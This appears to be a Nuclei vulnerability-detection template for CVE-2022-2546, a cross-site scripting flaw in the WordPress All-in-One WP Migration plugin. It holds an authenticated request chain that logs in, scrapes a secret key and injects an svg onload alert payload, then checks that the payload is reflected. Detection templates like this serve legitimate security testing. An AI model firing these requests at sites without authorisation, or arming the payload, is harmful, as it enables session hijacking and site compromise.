id: CVE-2022-2546 info: name: WordPress All-in-One WP Migration <=7.62 - Cross-Site Scripting author: theamanrawat severity: medium description: | WordPress All-in-One WP Migration plugin 7.62 and prior contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the target website, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: | Update to the latest version of the WordPress All-in-One WP Migration plugin (7.63 or higher) to mitigate this vulnerability. reference: - https://wpscan.com/vulnerability/f84920e4-a1fe-47cf-9ba5-731989c70f58 - https://wordpress.org/plugins/all-in-one-wp-migration/ - https://patchstack.com/database/vulnerability/all-in-one-wp-migration/wordpress-all-in-one-wp-migration-plugin-7-62-unauthenticated-reflected-cross-site-scripting-xss-vulnerability - https://nvd.nist.gov/vuln/detail/CVE-2022-2546 classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 4.7 cve-id: CVE-2022-2546 cwe-id: CWE-79 epss-score: 0.00165 epss-percentile: 0.53101 cpe: cpe:2.3:a:servmask:all-in-one_wp_migration:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 3 vendor: servmask product: all-in-one_wp_migration framework: wordpress tags: cve,cve2022,all-in-one-wp-migration,authenticated,wpscan,wordpress,wp-plugin,wp,xss,servmask http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/admin.php?page=ai1wm_export HTTP/1.1 Host: {{Hostname}} - | GET /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bnew_value%5D%5B%5D=XSSPAYLOAD%3Csvg+onload=alert(document.domain)%3E&ai1wm_manual_export=1&secret_key={{secretkey}} HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - contains(header_3, "text/html") - status_code_3 == 200 - contains(body_3, '{\"new_value\":[\"XSSPAYLOAD') condition: and extractors: - type: regex name: secretkey group: 1 regex: - 'ai1wm_feedback"},"secret_key":"([0-9a-zA-Z]+)"' internal: true # digest: 4b0a004830460221008605d7dcff6212b05263102c492829d70c7994f22876e495af2596f4068409f00221009165501f1faacbf03db9e40be164b00c1834360f171627bab47dbd32b55c3cb8:922c64590222798bb761d5b6d8e72950